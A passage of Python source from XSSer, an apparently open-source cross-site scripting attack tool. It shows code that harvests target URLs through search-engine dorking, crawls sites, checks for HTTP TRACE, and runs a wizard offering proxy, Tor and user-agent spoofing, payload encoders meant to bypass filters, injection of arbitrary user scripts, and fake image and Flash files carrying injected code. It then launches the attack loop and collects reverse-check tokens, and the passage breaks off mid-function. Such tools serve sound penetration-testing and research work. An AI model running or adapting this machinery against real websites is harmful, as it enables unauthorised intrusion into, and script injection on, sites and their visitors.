  1955. Process payload options and make up the payload list for the attack.
  1956. """
  1957. urls = []
  1958. options = self.options
  1959. p = self.optionParser
  1960. if options.imx:
  1961. self.create_fake_image(options.imx, options.script)
  1962. return []
  1963. if options.flash:
  1964. self.create_fake_flash(options.flash, options.script)
  1965. return []
  1966. if options.update:
  1967. self.report('='*75)
  1968. self.report(str(p.version))
  1969. self.report('='*75)
  1970. try:
  1971. print("\nTrying to update to the latest stable version...\n")
  1972. Updater()
  1973. except:
  1974. print("Not any .git repository found!\n")
  1975. print("="*30)
  1976. print("\nTo have working this feature, you should clone XSSer with:\n")
  1977. print("$ git clone https://code.03c8.net/epsylon/xsser\n")
  1978. print("\nAlso you can try this other mirror:\n")
  1979. print("$ git clone https://github.com/epsylon/xsser\n")
  1980. return []
  1981. if options.wizard: # processing wizard template
  1982. if self.user_template is not None:
  1983. self.options.statistics = True # detailed output
  1984. if self.user_template[0] == "DORKING": # mass-dorking
  1985. self.options.dork_file = True
  1986. self.options.dork_mass = True
  1987. elif "http" in self.user_template[0]: # from target url
  1988. self.options.url = self.user_template[0]
  1989. else: # from file
  1990. self.options.readfile = self.user_template[0]
  1991. if self.user_template[1] == "CRAWLER": # crawlering target
  1992. self.options.crawling = "10"
  1993. else: # manual payload (GET or POST)
  1994. if self.user_template_conntype == "GET":
  1995. self.options.getdata = self.user_template[1]
  1996. else:
  1997. self.options.postdata = self.user_template[1]
  1998. if self.user_template[2] == "Proxy: No - Spoofing: Yes":
  1999. self.options.ignoreproxy = True
  2000. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2001. self.options.referer = "127.0.0.1" # spoof referer
  2002. elif self.user_template[2] == "Proxy: No - Spoofing: No":
  2003. self.options.ignoreproxy = True
  2004. else: # using proxy + spoofing
  2005. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2006. self.options.referer = "127.0.0.1" # spoof referer
  2007. if self.user_template[2] is not None:
  2008. self.options.proxy = self.user_template[2]
  2009. else:
  2010. self.options.ignoreproxy = True
  2011. if self.user_template[3] == "Not using encoders":
  2012. pass
  2013. elif self.user_template[3] == "Hex": # Hexadecimal
  2014. self.options.Hex = True
  2015. elif self.user_template[3] == "Str+Une": # StringFromCharCode()+Unescape()
  2016. self.options.Str = True
  2017. self.options.Une = True
  2018. else: # Character encoding mutations
  2019. self.options.Cem = self.user_template[3]
  2020. if self.user_template[4] == "Alertbox": # Classic AlertBox injection
  2021. self.options.finalpayload = "<script>alert('XSS');</script>"
  2022. else:
  2023. if self.user_template[4] is not None: # Inject user script
  2024. self.options.finalpayload = self.user_template[4]
  2025. else: # not final injection
  2026. pass
  2027. else: # exit
  2028. return
  2029. if options.target: # miau!
  2030. self.report('='*75)
  2031. self.report(str(p.version))
  2032. self.report('='*75)
  2033. self.report("Testing [Full XSS audit]... ;-)")
  2034. self.report('='*75)
  2035. self.report("\n[Info] The following actions will be performed at the end:\n")
  2036. self.report(" 1- Output with detailed statistics\n")
  2037. self.report(" 2- Export results to files: \n\n - a) XSSreport.raw \n - b) XSSer_<target>_<datetime>.xml\n")
  2038. self.options.crawling = "99999" # set max num of urls to crawl
  2039. self.options.crawler_width = "5" # set max num of deeping levels
  2040. self.options.statistics = True # detailed output
  2041. self.options.timeout = "60" # timeout
  2042. self.options.retries = "2" # retries
  2043. self.options.delay = "5" # delay
  2044. self.options.threads = "10" # threads
  2045. self.options.followred = True # follow redirs
  2046. self.options.nohead = False # HEAD check
  2047. self.options.reversecheck = True # try to establish a reverse connection
  2048. self.options.fuzz = True # autofuzzing
  2049. self.options.coo = True # COO
  2050. self.options.xsa = True # XSA
  2051. self.options.xsr = True # XSR
  2052. self.options.dcp = True # DCP
  2053. self.options.dom = True # DOM
  2054. self.options.inducedcode = True # Induced
  2055. self.options.fileoutput = True # Important: export results to file (.raw)
  2056. self.options.filexml = "XSSer_" + str(self.options.target) + "_" + str(datetime.datetime.now())+".xml" # export xml
  2057. self.check_trace() # XST
  2058. urls = [options.target]
  2059. if options.url:
  2060. self.report('='*75)
  2061. self.report(str(p.version))
  2062. self.report('='*75)
  2063. if self.options.crawling:
  2064. self.report("Testing [XSS from CRAWLER]...")
  2065. else:
  2066. self.report("Testing [XSS from URL]...")
  2067. self.report('='*75)
  2068. urls = [options.url]
  2069. elif options.readfile:
  2070. self.report('='*75)
  2071. self.report(str(p.version))
  2072. self.report('='*75)
  2073. self.report("Testing [XSS from FILE]...")
  2074. self.report('='*75)
  2075. try:
  2076. f = open(options.readfile)
  2077. urls = f.readlines()
  2078. urls = [ line.replace('\n','') for line in urls ]
  2079. f.close()
  2080. except:
  2081. import os.path
  2082. if os.path.exists(options.readfile) == True:
  2083. self.report('\nThere are some errors opening the file: ', options.readfile, "\n")
  2084. else:
  2085. self.report('\nCannot found file: ', options.readfile, "\n")
  2086. elif options.dork: # dork a query
  2087. self.report('='*75)
  2088. self.report(str(p.version))
  2089. self.report('='*75)
  2090. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2091. self.report('='*75)
  2092. if options.dork_mass: # massive dorkering
  2093. for e in self.search_engines:
  2094. try:
  2095. dorker = Dorker(e)
  2096. urls = dorker.dork(options.dork)
  2097. i = 0
  2098. for u in urls: # replace original parameter for injection keyword (XSS)
  2099. p_uri = urlparse(u)
  2100. uri = p_uri.netloc
  2101. path = p_uri.path
  2102. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2103. for key, value in target_params.items(): # parse params to apply keywords
  2104. for v in value:
  2105. target_params[key] = 'XSS'
  2106. target_url_params = urllib.parse.urlencode(target_params)
  2107. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2108. urls[i] = u
  2109. i = i + 1
  2110. except Exception as e:
  2111. for reporter in self._reporters:
  2112. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2113. else:
  2114. if urls is not None:
  2115. for url in urls:
  2116. for reporter in self._reporters:
  2117. reporter.add_link(dorker.search_url, url)
  2118. else:
  2119. if not options.dork_engine:
  2120. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2121. dorker = Dorker(options.dork_engine)
  2122. try:
  2123. urls = dorker.dork(options.dork)
  2124. i = 0
  2125. for u in urls: # replace original parameter for injection keyword (XSS)
  2126. p_uri = urlparse(u)
  2127. uri = p_uri.netloc
  2128. path = p_uri.path
  2129. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2130. for key, value in target_params.items(): # parse params to apply keywords
  2131. for v in value:
  2132. target_params[key] = 'XSS'
  2133. target_url_params = urllib.parse.urlencode(target_params)
  2134. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2135. urls[i] = u
  2136. i = i + 1
  2137. except Exception as e:
  2138. for reporter in self._reporters:
  2139. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2140. else:
  2141. if urls is not None:
  2142. for url in urls:
  2143. for reporter in self._reporters:
  2144. reporter.add_link(dorker.search_url, url)
  2145. elif options.dork_file: # dork from file ('core/fuzzing/dorks.txt')
  2146. self.report('='*75)
  2147. self.report(str(p.version))
  2148. self.report('='*75)
  2149. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2150. self.report('='*75)
  2151. try:
  2152. f = open('core/fuzzing/dorks.txt')
  2153. dorks = f.readlines()
  2154. dorks = [ dork.replace('\n','') for dork in dorks ]
  2155. f.close()
  2156. if not dorks:
  2157. print("\n[Error] - Imposible to retrieve 'dorks' from file.\n")
  2158. return
  2159. except:
  2160. if os.path.exists('core/fuzzing/dorks.txt') == True:
  2161. print('[Error] - Cannot open:', 'dorks.txt', "\n")
  2162. return
  2163. else:
  2164. print('[Error] - Cannot found:', 'dorks.txt', "\n")
  2165. return
  2166. if not options.dork_engine:
  2167. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2168. if options.dork_mass: # massive dorkering
  2169. for e in self.search_engines:
  2170. try:
  2171. dorker = Dorker(e)
  2172. for dork in dorks:
  2173. urls = dorker.dork(dork)
  2174. i = 0
  2175. for u in urls: # replace original parameter for injection keyword (XSS)
  2176. p_uri = urlparse(u)
  2177. uri = p_uri.netloc
  2178. path = p_uri.path
  2179. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2180. for key, value in target_params.items(): # parse params to apply keywords
  2181. for v in value:
  2182. target_params[key] = 'XSS'
  2183. target_url_params = urllib.parse.urlencode(target_params)
  2184. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2185. urls[i] = u
  2186. i = i + 1
  2187. except Exception as e:
  2188. for reporter in self._reporters:
  2189. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2190. else:
  2191. if urls is not None:
  2192. for url in urls:
  2193. for reporter in self._reporters:
  2194. reporter.add_link(dorker.search_url, url)
  2195. else:
  2196. dorker = Dorker(options.dork_engine)
  2197. try:
  2198. for dork in dorks:
  2199. urls = dorker.dork(dork)
  2200. i = 0
  2201. for u in urls: # replace original parameter for injection keyword (XSS)
  2202. p_uri = urlparse(u)
  2203. uri = p_uri.netloc
  2204. path = p_uri.path
  2205. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2206. for key, value in target_params.items(): # parse params to apply keywords
  2207. for v in value:
  2208. target_params[key] = 'XSS'
  2209. target_url_params = urllib.parse.urlencode(target_params)
  2210. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2211. urls[i] = u
  2212. i = i + 1
  2213. except Exception as e:
  2214. for reporter in self._reporters:
  2215. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2216. else:
  2217. if urls is not None:
  2218. for url in urls:
  2219. for reporter in self._reporters:
  2220. reporter.add_link(dorker.search_url, url)
  2221. if options.crawling: # crawlering target(s)
  2222. nthreads = options.threads
  2223. self.crawled_urls = list(urls)
  2224. all_crawled = []
  2225. try:
  2226. self.options.crawling = int(self.options.crawling)
  2227. except:
  2228. self.options.crawling = 50
  2229. if self.options.crawler_width == None:
  2230. self.options.crawler_width = 2 # default crawlering-width
  2231. else:
  2232. try:
  2233. self.options.crawler_width = int(self.options.crawler_width)
  2234. except:
  2235. self.options.crawler_width = 2 # default crawlering-width
  2236. if self.options.crawler_local == None:
  2237. self.options.crawler_local = False # default crawlering to LOCAL
  2238. for url in set(urls):
  2239. self.report("\n[Info] Crawlering TARGET:", url, "\n\n - Max. limit: "+ str(self.options.crawling)+ " \n - Deep level: "+ str(options.crawler_width))
  2240. crawler = Crawler(self, Curl, all_crawled,
  2241. self.pool)
  2242. crawler.set_reporter(self)
  2243. # now wait for all results to arrive
  2244. while urls:
  2245. self.run_crawl(crawler, urls.pop(), options)
  2246. while not self._landing:
  2247. for reporter in self._reporters:
  2248. reporter.report_state('broad scanning')
  2249. try:
  2250. self.pool.poll()
  2251. except NoResultsPending:
  2252. crawler.cancel()
  2253. break
  2254. if len(self.crawled_urls) >= int(options.crawling) or not crawler._requests:
  2255. self.report("\n[Info] Found enough results... calling all mosquitoes to home!")
  2256. crawler.cancel()
  2257. break
  2258. time.sleep(0.1)
  2259. # re-parse crawled urls from main
  2260. parsed_crawled_urls = []
  2261. for u in self.crawled_urls:
  2262. if "XSS" in u:
  2263. parsed_crawled_urls.append(u)
  2264. else:
  2265. pass
  2266. self.crawled_urls = parsed_crawled_urls
  2267. # report parsed crawled urls
  2268. self.report("\n" + "-"*25)
  2269. self.report("\n[Info] Mosquitoes have found: [ " + str(len(self.crawled_urls)) + " ] possible attacking vector(s)")
  2270. if self.options.verbose:
  2271. self.report("")
  2272. for u in self.crawled_urls:
  2273. if '/XSS' in u:
  2274. u = u.replace("/XSS", "")
  2275. print(" - " + str(u))
  2276. if len(self.crawled_urls) > 0:
  2277. self.report("")
  2278. else:
  2279. self.report("-"*25)
  2280. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  2281. return self.crawled_urls
  2282. if not options.imx or not options.flash or not options.xsser_gtk or not options.update:
  2283. return urls
  2284. def run_crawl(self, crawler, url, options):
  2285. def _cb(request, result):
  2286. pass
  2287. def _error_cb(request, error):
  2288. for reporter in self._reporters:
  2289. reporter.mosquito_crashed(url, str(error[0]))
  2290. if DEBUG == True:
  2291. traceback.print_tb(error[2])
  2292. def crawler_main(args):
  2293. return crawler.crawl(*args)
  2294. crawler.crawl(url, int(options.crawler_width),
  2295. int(options.crawling),options.crawler_local)
  2296. def poll_workers(self):
  2297. try:
  2298. self.pool.poll()
  2299. except NoResultsPending:
  2300. pass
  2301. def try_running(self, func, error, args=[]):
  2302. """
  2303. Try running a function and print some error if it fails and exists with
  2304. a fatal error.
  2305. """
  2306. try:
  2307. return func(*args)
  2308. except Exception as e:
  2309. self.report(error)
  2310. if DEBUG == True:
  2311. traceback.print_exc()
  2312. def check_trace(self):
  2313. """
  2314. Check for Cross Site Tracing (XST) vulnerability:
  2315. 1) check HTTP TRACE method enabled (add 'Max-Forwards: 0' to curl command to bypass some 'Anti-antixst' web proxy rules)
  2316. 2) check data sent on reply
  2317. """
  2318. agents = [] # user-agents
  2319. try:
  2320. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2321. except:
  2322. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2323. for line in f:
  2324. agents.append(line)
  2325. agent = random.choice(agents).strip() # set random user-agent
  2326. referer = '127.0.0.1'
  2327. import subprocess, shlex
  2328. self.report('='*75)
  2329. self.report("\n[Info] Trying method: Cross Site Tracing (XST)\n")
  2330. if self.options.xst:
  2331. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.xst), stdout=subprocess.PIPE)
  2332. if self.options.target:
  2333. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.target), stdout=subprocess.PIPE)
  2334. line1 = xst.stdout.readline()
  2335. if self.options.verbose:
  2336. print("-"*25 + "\n")
  2337. while True:
  2338. line = xst.stdout.readline()
  2339. if line != '':
  2340. print(line.rstrip())
  2341. else:
  2342. break
  2343. self.report("")
  2344. self.report('-'*50+"\n")
  2345. if "200 OK" in line1.rstrip():
  2346. print("[Info] Target is vulnerable to XST! (Cross Site Tracing) ;-)\n")
  2347. else:
  2348. print("[Info] Target is NOT vulnerable to XST (Cross Site Tracing) ;-(\n")
  2349. if self.options.target:
  2350. self.report('='*75)
  2351. def start_wizard(self):
  2352. """
  2353. Start Wizard Helper
  2354. """
  2355. #step 0: Menu
  2356. ans1=True
  2357. ans2=True
  2358. ans3=True
  2359. ans4=True
  2360. ans5=True
  2361. ans6=True
  2362. #step 1: Where
  2363. while ans1:
  2364. print("""\nA)- Where are your targets?\n
  2365. [1]- I want to enter the url of my target directly.
  2366. [2]- I want to enter a list of targets from a .txt file.
  2367. *[3]- I don't know where are my target(s)... I just want to explore! :-)
  2368. [e]- Exit/Quit/Abort.
  2369. """)
  2370. ans1 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2371. if ans1 == "1": # from url
  2372. url = input("Target url (ex: http(s)://target.com): ")
  2373. if url.startswith("http"):
  2374. ans1 = None
  2375. else:
  2376. print("\n[Error] Your url is not valid!. Try again!")
  2377. pass
  2378. elif ans1 == "2": # from file
  2379. url = input("Path to file (ex: 'targets_list.txt'): ")
  2380. if url == None:
  2381. print("\n[Error] Your are not providing a valid file. Try again!")
  2382. pass
  2383. else:
  2384. ans1 = None
  2385. elif ans1 == "3": # dorking
  2386. url = "DORKING"
  2387. ans1 = None
  2388. elif (ans1 == "e" or ans1 == "E"):
  2389. print("Closing wizard...")
  2390. ans1=None
  2391. ans2=None
  2392. ans3=None
  2393. ans4=None
  2394. ans5=None
  2395. ans6=None
  2396. else:
  2397. print("\nNot valid choice. Try again!")
  2398. #step 2: How
  2399. while ans2:
  2400. print(22*"-")
  2401. print("""\nB)- How do you want to connect?\n
  2402. [1]- I want to connect using GET and select some possible vulnerable parameter(s) directly.
  2403. [2]- I want to connect using POST and select some possible vulnerable parameter(s) directly.
  2404. [3]- I want to "crawl" all the links of my target(s) to found as much vulnerabilities as possible.
  2405. *[4]- I don't know how to connect... Just do it! :-)
  2406. [e]- Exit/Quit/Abort.
  2407. """)
  2408. ans2 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2409. if ans2 == "1": # using GET
  2410. payload = input("GET payload (ex: '/menu.php?q='): ")
  2411. if payload == None:
  2412. print("\n[Error] Your are providing an empty payload. Try again!")
  2413. pass
  2414. else:
  2415. self.user_template_conntype = "GET"
  2416. ans2 = None
  2417. elif ans2 == "2": # using POST
  2418. payload = input("POST payload (ex: 'foo=1&bar='): ")
  2419. if payload == None:
  2420. print("\n[Error] Your are providing an empty payload. Try again!")
  2421. pass
  2422. else:
  2423. self.user_template_conntype = "POST"
  2424. ans2 = None
  2425. elif ans2 == "3": # crawlering
  2426. payload = "CRAWLER"
  2427. ans2 = None
  2428. elif ans2 == "4": # crawlering
  2429. payload = "CRAWLER"
  2430. ans2 = None
  2431. elif (ans2 == "e" or ans2 == "E"):
  2432. print("Closing wizard...")
  2433. ans2=None
  2434. ans3=None
  2435. ans4=None
  2436. ans5=None
  2437. ans6=None
  2438. else:
  2439. print("\nNot valid choice. Try again!")
  2440. #step 3: Proxy
  2441. while ans3:
  2442. print(22*"-")
  2443. print("""\nC)- Do you want to be 'anonymous'?\n
  2444. [1]- Yes. I want to use my proxy and apply automatic spoofing methods.
  2445. [2]- Anonymous?. Yes!!!. I have a TOR proxy ready at: http://127.0.0.1:8118.
  2446. *[3]- Yes. But I haven't any proxy. :-)
  2447. [4]- No. It's not a problem for me to connect directly to the target(s).
  2448. [e]- Exit/Quit.
  2449. """)
  2450. ans3 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2451. if ans3 == "1": # using PROXY + spoofing
  2452. proxy = input("Enter proxy [http(s)://server:port]: ")
  2453. ans3 = None
  2454. elif ans3 == "2": # using TOR + spoofing
  2455. proxy = 'Using TOR (default: http://127.0.0.1:8118)'
  2456. proxy = 'http://127.0.0.1:8118'
  2457. ans3 = None
  2458. elif ans3 == "3": # only spoofing
  2459. proxy = 'Proxy: No - Spoofing: Yes'
  2460. ans3 = None
  2461. elif ans3 == "4": # no spoofing
  2462. proxy = 'Proxy: No - Spoofing: No'
  2463. ans3 = None
  2464. elif (ans3 == "e" or ans3 == "E"):
  2465. print("Closing wizard...")
  2466. ans3=None
  2467. ans4=None
  2468. ans5=None
  2469. ans6=None
  2470. else:
  2471. print("\nNot valid choice. Try again!")
  2472. #step 4: Bypasser(s)
  2473. while ans4:
  2474. print(22*"-")
  2475. print("""\nD)- Which 'bypasser(s' do you want to use?\n
  2476. [1]- I want to inject XSS scripts without any encoding.
  2477. [2]- Try to inject code using 'Hexadecimal'.
  2478. [3]- Try to inject code mixing 'String.FromCharCode()' and 'Unescape()'.
  2479. [4]- I want to inject using 'Character Encoding Mutations' (Une+Str+Hex).
  2480. *[5]- I don't know exactly what is a 'bypasser'... But I want to inject code! :-)
  2481. [e]- Exit/Quit.
  2482. """)
  2483. ans4 = input("Your choice: [1], [2], [3], [4], [5] or [e]xit\n")
  2484. if ans4 == "1": # no encode
  2485. enc = "Not using encoders"
  2486. ans4 = None
  2487. elif ans4 == "2": # enc: Hex
  2488. enc = 'Hex'
  2489. ans4 = None
  2490. elif ans4 == "3": # enc: Str+Une
  2491. enc = 'Str+Une'
  2492. ans4 = None
  2493. elif ans4 == "4": # enc: Mix: Une+Str+Hex
  2494. enc = "Une,Str,Hex"
  2495. ans4 = None
  2496. elif ans4 == "5": # enc: no encode
  2497. enc = 'Not using encoders'
  2498. ans4 = None
  2499. elif (ans4 == "e" or ans4 == "E"):
  2500. print("Closing wizard...")
  2501. ans4=None
  2502. ans5=None
  2503. ans6=None
  2504. else:
  2505. print("\nNot valid choice. Try again!")
  2506. #step 5: Exploiting
  2507. while ans5:
  2508. print(22*"-")
  2509. print("""\nE)- Which final code do you want to 'exploit' on vulnerabilities found?\n
  2510. [1]- I want to inject a classic "Alert" message box.
  2511. [2]- I want to inject my own scripts.
  2512. *[3]- I don't want to inject a final code... I just want to discover vulnerabilities! :-)
  2513. [e]- Exit/Quit.
  2514. """)
  2515. ans5 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2516. if ans5 == "1": # alertbox
  2517. script = 'Alertbox'
  2518. ans5 = None
  2519. elif ans5 == "2": # manual
  2520. script = input("Enter code (ex: '><script>alert('XSS');</script>): ")
  2521. if script == None:
  2522. print("\n[Error] Your are providing an empty script to inject. Try again!")
  2523. pass
  2524. else:
  2525. ans5 = None
  2526. elif ans5 == "3": # no exploit
  2527. script = 'Not exploiting code'
  2528. ans5 = None
  2529. elif (ans5 == "e" or ans5 == "E"):
  2530. print("Closing wizard...")
  2531. ans5=None
  2532. ans6=None
  2533. else:
  2534. print("\nNot valid choice. Try again!")
  2535. #step 6: Final
  2536. while ans6:
  2537. print(22*"-")
  2538. print("\nVery nice!. That's all. Your last step is to -accept or not- this template.\n")
  2539. print("A)- Target:", url)
  2540. print("B)- Payload:", payload)
  2541. print("C)- Privacy:", proxy)
  2542. print("D)- Bypasser(s):", enc)
  2543. print("E)- Final:", script)
  2544. print("""
  2545. [Y]- Yes. Accept it and start testing!.
  2546. [N]- No. Abort it?.
  2547. """)
  2548. ans6 = input("Your choice: [Y] or [N]\n")
  2549. if (ans6 == "y" or ans6 == "Y"): # YES
  2550. start = 'YES'
  2551. print('Good fly... and happy "Cross" hacking !!! :-)\n')
  2552. ans6 = None
  2553. elif (ans6 == "n" or ans6 == "N"): # NO
  2554. start = 'NO'
  2555. print("Aborted!. Closing wizard...")
  2556. ans6 = None
  2557. else:
  2558. print("\nNot valid choice. Try again!")
  2559. if url and payload and proxy and enc and script:
  2560. return url, payload, proxy, enc, script
  2561. else:
  2562. return
  2563. def create_fake_image(self, filename, payload):
  2564. """
  2565. Create -fake- image with code injected
  2566. """
  2567. options = self.options
  2568. filename = options.imx
  2569. payload = options.script
  2570. image_xss_injections = ImageInjections()
  2571. image_injections = image_xss_injections.image_xss(options.imx , options.script)
  2572. return image_injections
  2573. def create_fake_flash(self, filename, payload):
  2574. """
  2575. Create -fake- flash movie (.swf) with code injected
  2576. """
  2577. options = self.options
  2578. filename = options.flash
  2579. payload = options.script
  2580. flash_xss_injections = FlashInjections()
  2581. flash_injections = flash_xss_injections.flash_xss(options.flash, options.script)
  2582. return flash_injections
  2583. def create_gtk_interface(self):
  2584. """
  2585. Create GTK Interface
  2586. """
  2587. options = self.options
  2588. from core.gtkcontroller import Controller, reactor
  2589. uifile = "xsser.ui"
  2590. controller = Controller(uifile, self)
  2591. self._reporters.append(controller)
  2592. if reactor:
  2593. reactor.run()
  2594. else:
  2595. from gi.repository import Gtk
  2596. Gtk.main()
  2597. return controller
  2598. def run(self, opts=None):
  2599. """
  2600. Run xsser.
  2601. """
  2602. self.token_arrived_flag = False # used for --reverse-check
  2603. self.success_arrived_flag = False # used for --reverse-check
  2604. self.token_arrived_hash = None # used for --reverse-check
  2605. self.token_arrived_hashes = [] # used for --reverse-check
  2606. for reporter in self._reporters:
  2607. reporter.start_attack()
  2608. if opts:
  2609. options = self.create_options(opts)
  2610. self.set_options(options)
  2611. if not self.hub:
  2612. self.hub = HubThread(self)
  2613. self.hub.start()
  2614. options = self.options
  2615. if options:
  2616. if self.options.hash is True: # not fuzzing/heuristic when hash precheck
  2617. self.options.fuzz = False
  2618. self.options.script = False
  2619. self.options.coo = False
  2620. self.options.xsa = False
  2621. self.options.xsr = False
  2622. self.options.dcp = False
  2623. self.options.dom = False
  2624. self.options.inducedcode = False
  2625. self.options.heuristic = False
  2626. if self.options.heuristic: # not fuzzing/hash when heuristic precheck
  2627. self.options.fuzz = False
  2628. self.options.script = False
  2629. self.options.coo = False
  2630. self.options.xsa = False
  2631. self.options.xsr = False
  2632. self.options.dcp = False
  2633. self.options.dom = False
  2634. self.options.inducedcode = False
  2635. self.options.hash = False
  2636. if self.options.Cem: # parse input at CEM for blank spaces
  2637. self.options.Cem = self.options.Cem.replace(" ","")
  2638. else:
  2639. pass
  2640. try:
  2641. if self.options.imx: # create -fake- image with code injected
  2642. p = self.optionParser
  2643. self.report('='*75)
  2644. self.report(str(p.version))
  2645. self.report('='*75)
  2646. self.report("[Image XSS Builder]...")
  2647. self.report('='*75)
  2648. self.report(''.join(self.create_fake_image(self.options.imx, self.options.script)))
  2649. self.report('='*75 + "\n")
  2650. except:
  2651. return
  2652. if options.flash: # create -fake- flash movie (.swf) with code injected
  2653. p = self.optionParser
  2654. self.report('='*75)
  2655. self.report(str(p.version))
  2656. self.report('='*75)
  2657. self.report("[Flash Attack! XSS Builder]...")
  2658. self.report('='*75)
  2659. self.report(''.join(self.create_fake_flash(self.options.flash, self.options.script)))
  2660. self.report('='*75 + "\n")
  2661. if options.xsser_gtk:
  2662. self.create_gtk_interface()
  2663. return
  2664. if self.options.wizard: # start a wizard helper
  2665. p = self.optionParser
  2666. self.report('='*75)
  2667. self.report(str(p.version))
  2668. self.report('='*75)
  2669. self.report("[Wizard] Generating XSS attack...")
  2670. self.report('='*75)
  2671. self.user_template = self.start_wizard()
  2672. if self.options.xst: # check for cross site tracing
  2673. p = self.optionParser
  2674. if not self.options.target:
  2675. self.report('='*75)
  2676. self.report(str(p.version))
  2677. self.report('='*75)
  2678. self.report("[XST Attack!] checking for HTTP TRACE method ...")
  2679. self.report('='*75)
  2680. self.check_trace()
  2681. if self.options.reversecheck or self.options.dom: # generate headless embed web browser
  2682. self.driver = self.create_headless_embed_browser()
  2683. if options.checktor:
  2684. url = self.check_tor_url # TOR status checking site
  2685. print('='*75)
  2686. print("")
  2687. print(" _ ")
  2688. print(" /_/_ .'''. ")
  2689. print(" =O(_)))) ...' `. ")
  2690. print(" \_\ `. .'''")
  2691. print(" `..' ")
  2692. print("")
  2693. print('='*75)
  2694. agents = [] # user-agents
  2695. try:
  2696. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2697. except:
  2698. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2699. for line in f:
  2700. agents.append(line)
  2701. agent = random.choice(agents).strip() # set random user-agent
  2702. referer = "127.0.0.1"
  2703. print("\n[Info] Sending request to: " + url + "\n")
  2704. print("-"*25+"\n")
  2705. headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
  2706. try:
  2707. req = urllib.request.Request(url, None, headers)
  2708. tor_reply = urllib.request.urlopen(req).read().decode('utf-8')
  2709. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  2710. if not tor_reply or 'Congratulations' not in tor_reply:
  2711. print("It seems that Tor is not properly set.\n")
  2712. print("IP address appears to be: " + your_ip + "\n")
  2713. else:
  2714. print("Congratulations!. Tor is properly being used :-)\n")
  2715. print("IP address appears to be: " + your_ip + "\n")
  2716. except:
  2717. print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
  2718. sys.exit(2) # return
  2719. # step 0: get workers
  2720. nthreads = max(1, abs(options.threads))
  2721. nworkers = len(self.pool.workers)
  2722. if nthreads != nworkers:
  2723. if nthreads < nworkers:
  2724. self.pool.dismissWorkers(nworkers-nthreads)
  2725. else:
  2726. self.pool.createWorkers(nthreads-nworkers)
  2727. for reporter in self._reporters:
  2728. reporter.report_state('scanning')
  2729. # step 1: get urls
  2730. urls = self.try_running(self._get_attack_urls, "\n[Error] Internal error getting -targets-\n")
  2731. for reporter in self._reporters:
  2732. reporter.report_state('arming')
  2733. # step 2: get payloads
  2734. payloads = self.try_running(self.get_payloads, "\n[Error] Internal error getting -payloads-\n")
  2735. for reporter in self._reporters:
  2736. reporter.report_state('cloaking')
  2737. if options.Dwo:
  2738. payloads = self.process_payloads_ipfuzzing(payloads)
  2739. elif options.Doo:
  2740. payloads = self.process_payloads_ipfuzzing_octal(payloads)
  2741. for reporter in self._reporters:
  2742. reporter.report_state('locking targets')
  2743. # step 3: get query string
  2744. query_string = self.try_running(self.get_query_string, "\n[Error] Internal problems getting query -string-\n")
  2745. for reporter in self._reporters:
  2746. reporter.report_state('sanitize')
  2747. urls = self.sanitize_urls(urls)
  2748. for reporter in self._reporters:
  2749. reporter.report_state('attack')
  2750. # step 4: perform attack
  2751. self.try_running(self.attack, "\n[Error] Internal problems running attack...\n", (urls, payloads, query_string))
  2752. for reporter in self._reporters:
  2753. reporter.report_state('reporting')
  2754. if len(self.final_attacks):
  2755. self.report("[Info] Waiting for tokens to arrive...")
  2756. while self._ongoing_requests and not self._landing:
  2757. if not self.pool:
  2758. self.mothership.poll_workers()
  2759. else:
  2760. self.poll_workers()
  2761. time.sleep(0.2)
  2762. for reporter in self._reporters:
  2763. reporter.report_state('final sweep...')
  2764. if self.pool:
  2765. self.pool.dismissWorkers(len(self.pool.workers))
  2766. self.pool.joinAllDismissedWorkers()
  2767. start = time.time()
  2768. while not self._landing and len(self.final_attacks) and time.time() - start < 5.0:
  2769. time.sleep(0.2)
  2770. for reporter in self._reporters:
  2771. reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
  2772. if self.final_attacks and self.options.reversecheck: # try a --reverse-check
  2773. final_attack_payloads = []
  2774. self.report("="*45)
  2775. self.report("[*] Reverse Check(s) Results:")
  2776. self.report("="*45 + "\n")
  2777. for final_attack in self.final_attacks.values():
  2778. if final_attack not in final_attack_payloads:
  2779. final_attack_payloads.append(final_attack)
  2780. for final in final_attack_payloads:
  2781. if self.hash_found:
  2782. for l in self.hash_found:
  2783. hashing = l[3]
  2784. for k, v in final.items():
  2785. if 'success/'+hashing in v: # find XSS "remote poison" payload!
  2786. if not self.options.postdata: # GET
